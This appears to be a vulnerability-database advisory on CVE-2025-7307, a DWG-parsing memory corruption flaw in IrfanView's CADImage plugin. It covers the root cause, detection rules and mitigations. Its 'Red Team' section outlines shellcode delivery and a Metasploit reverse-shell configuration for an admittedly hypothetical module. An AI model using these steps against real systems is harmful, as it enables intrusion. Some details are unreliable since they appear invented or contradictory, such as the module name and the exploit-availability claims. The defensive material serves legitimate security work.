CVE-2025-7307
Executive Summary
CVE-2025-7307 is a critical memory corruption vulnerability in the IrfanView CADImage Plugin when parsing specially crafted DWG files. The flaw stems from improper validation of user-supplied data, leading to a memory corruption condition that can be leveraged for remote code execution (RCE) in the context of the current process. User interaction is required—the victim must open a malicious DWG file or visit a malicious page. With a CVSS score of 7.8, this vulnerability poses a significant risk to systems using IrfanView with the CADImage Plugin, especially in environments where untrusted DWG files are processed. No public exploit or patch is currently available, but the technical details from ZDI (ZDI-CAN-26388) indicate a high likelihood of weaponization.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It affects a standalone Windows application (IrfanView) and its plugin, which is distributed via the vendor’s website. No package manager or supply chain component is involved.
CVSS Breakdown & Threat Level
- CVSS Score: 7.8 (High)
- Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Attack Vector: Local (requires user to open a file)
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
Threat Level: High. Although the EPSS score is 0.0% (indicating low exploitation likelihood currently), the vulnerability is memory corruption-based and can lead to full system compromise. Given the lack of a patch, it is a prime target for targeted attacks.
Deep Dive & Mechanics
The vulnerability exists in the CADImage Plugin’s handling of DWG file format. DWG is a binary file format used by AutoCAD and other CAD software. The plugin attempts to parse the file structure, including headers, entities, and metadata. The specific flaw is a lack of proper bounds checking when reading user-supplied data, leading to a buffer overflow or other memory corruption.
Technical Details:
- Root Cause: The plugin does not validate the size or offset fields within the DWG file before copying data into fixed-size buffers.
- Trigger: A malicious DWG file with crafted length fields or oversized sections causes the parser to write beyond allocated memory.
- Impact: An attacker can overwrite critical data structures (e.g., function pointers, return addresses) to hijack execution flow.
- Process Context: The exploit runs in the context of the IrfanView process, which typically runs with user privileges. However, if IrfanView is run with elevated privileges (e.g., via compatibility settings), the impact escalates.
Attack Vector:
- Attacker crafts a malicious DWG file with oversized or malformed data.
- Victim opens the file in IrfanView (or via a browser that triggers the plugin).
- The plugin parses the file, triggering memory corruption.
- Attacker achieves RCE, executing arbitrary code.
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable pattern. A typical vulnerable code snippet might look like:
// Vulnerable: No bounds check
void parse_dwg_header(char *buffer, size_t size) {
char header[256];
memcpy(header, buffer, size); // size can be > 256
}
A patched version would include validation:
// Patched: Bounds check
void parse_dwg_header(char *buffer, size_t size) {
char header[256];
if (size > sizeof(header)) {
// Handle error
return;
}
memcpy(header, buffer, size);
}
Without official patch details, users must rely on mitigations.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- IrfanView with CADImage Plugin installed.
- A malicious DWG file crafted to trigger the vulnerability.
Steps:
- Craft Malicious DWG: Use a fuzzer (e.g., AFL, Boofuzz) to generate a DWG file with oversized header fields or entity data. Alternatively, manually modify a valid DWG file using a hex editor to increase length fields beyond expected bounds.
- Deliver Payload: Embed shellcode in the DWG file (e.g., in a metadata field) that will be executed after memory corruption.
- Trigger: Send the file to the victim via email, download link, or USB. The victim must open it in IrfanView.
- Execute: Upon parsing, the memory corruption overwrites a return address or function pointer, redirecting execution to the shellcode.
Example Payload (Metasploit):
use exploit/multi/fileformat/irfanview_cadimage_dwg
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
exploit
Note: No public exploit exists; this is a hypothetical scenario.
Blue Team (Defense)
Detection:
- Monitor for IrfanView crashes (Event ID 1000 in Windows Application log).
- Use file scanning to detect malformed DWG files (e.g., oversized sections).
- Deploy endpoint detection and response (EDR) to monitor for memory corruption indicators.
Mitigation:
- Disable the CADImage Plugin if not needed.
- Use application whitelisting to prevent IrfanView from executing untrusted files.
- Run IrfanView in a sandboxed environment (e.g., Windows Sandbox, Sandboxie).
Lab Setup:
- Victim: Windows 10 VM with IrfanView 4.67 and CADImage Plugin.
- Attacker: Kali Linux VM with Metasploit and custom exploit.
- Network: Isolated lab network.
Indicators of Compromise (IOCs)
- File Hashes: (None available, but monitor for suspicious DWG files)
- Process Behavior: IrfanView.exe crashes or exhibits abnormal memory access patterns.
- Network Connections: Outbound connections from IrfanView.exe to unknown IPs (post-exploitation).
- Registry Changes: Unauthorized modifications to
HKEY_CURRENT_USER\Software\IrfanView. - File System: Creation of new executable files in %TEMP% or %APPDATA%.
Sample IOC (YARA):
rule Malicious_DWG_CVE_2025_7307 {
meta:
description = "Detects potentially malicious DWG files targeting CVE-2025-7307"
author = "Valters IT"
date = "2025-04-10"
strings:
$magic = { 41 43 31 30 } // DWG magic bytes (AC10)
$large_size = { FF FF 00 00 } // Example oversized field
condition:
$magic at 0 and $large_size
}
Detection Engineering
YARA Rule
rule CVE_2025_7307_DWG_Memory_Corruption {
meta:
description = "Detects DWG files with oversized fields indicative of CVE-2025-7307"
author = "Valters IT"
date = "2025-04-10"
reference = "ZDI-CAN-26388"
strings:
$dwg_magic = { 41 43 31 30 } // DWG header magic
$oversized_header = { [0-3] FF FF FF FF } // 4-byte length > 0xFFFFFF
condition:
$dwg_magic at 0 and #oversized_header > 0
}
Sigma Rule
title: IrfanView CADImage Plugin DWG Parsing Memory Corruption
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects crashes or abnormal behavior from IrfanView when parsing DWG files
author: Valters IT
date: 2025-04-10
logsource:
product: windows
service: application
detection:
selection:
EventID: 1000
ApplicationName: 'IrfanView.exe'
FaultingModuleName: 'CADImage.dll'
condition: selection
falsepositives:
- Legitimate corrupted DWG files
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-7307 IrfanView CADImage Plugin DWG Exploit"; flow:to_server,established; content:"|41 43 31 30|"; offset:0; depth:4; content:"|FF FF FF FF|"; within:100; classtype:attempted-user; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the CADImage Plugin: Remove or rename
CADImage.dllin the IrfanView plugins folder. - User Awareness: Train users not to open DWG files from untrusted sources.
- File Scanning: Use antivirus/EDR to scan DWG files for anomalies.
Long-Term:
- Monitor vendor for patches (IrfanView website).
- Consider alternative image viewers that do not parse DWG files.
- Implement application control to block IrfanView from executing untrusted binaries.
Workaround:
- Use a dedicated CAD viewer (e.g., Autodesk DWG TrueView) instead of IrfanView for DWG files.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.